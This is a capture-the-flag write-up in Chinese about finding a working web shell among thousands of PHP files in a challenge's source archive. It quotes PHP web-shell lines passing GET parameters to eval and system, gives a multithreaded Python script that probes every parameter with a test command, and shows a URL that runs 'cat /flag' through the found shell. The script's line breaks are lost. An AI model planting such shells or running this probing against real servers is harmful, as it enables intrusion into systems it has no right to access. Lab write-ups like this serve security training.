知识点
- python脚本编写能力
启动靶机
打开题目,页面上提示了源码在www.tar.gz
下载源码,打开是几千个php文件,里面包含很多shell,不过很多shell都没用,形如:
$_GET['ganVMUq3d'] = ' ';eval($_GET['ganVMUq3d'] ?? ' ');$_GET['jVMcNhK_F'] = ' ';system($_GET['jVMcNhK_F'] ?? ' ');$_GET['cXjHClMPs'] = ' ';echo `{$_GET['cXjHClMPs']}`;
猜测这几千个php文件中肯定含有可以使用的shell,所以遍历文件查找未被置空入口
import osimport requestsimport reimport threadingimport timeprint('开始时间: '+ time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100) #这儿设置最大的线程数filePath = r"/Users/lmc/Downloads/src/"os.chdir(filePath) #改变当前的路径requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接files = os.listdir(filePath)session = requests.Session()session.keep_alive = False # 设置连接活跃状态为Falsedef get_content(file):s1.acquire()print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {} #所有的$_POSTparams = {} #所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://10.211.55.3/src/'+filereq = session.post(url, data=data, params=params) #一次性请求所有的GET和POSTreq.close() # 关闭请求 释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close() # 关闭请求 释放内存if "xxxxxx" in content:breakif flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)print('结束时间: ' + time.asctime(time.localtime(time.time())))s1.release()for i in files: #加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()
找到文件:
访问:
http://b4c706f4-41a5-43f9-a360-177a8526632f.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
得到flag:
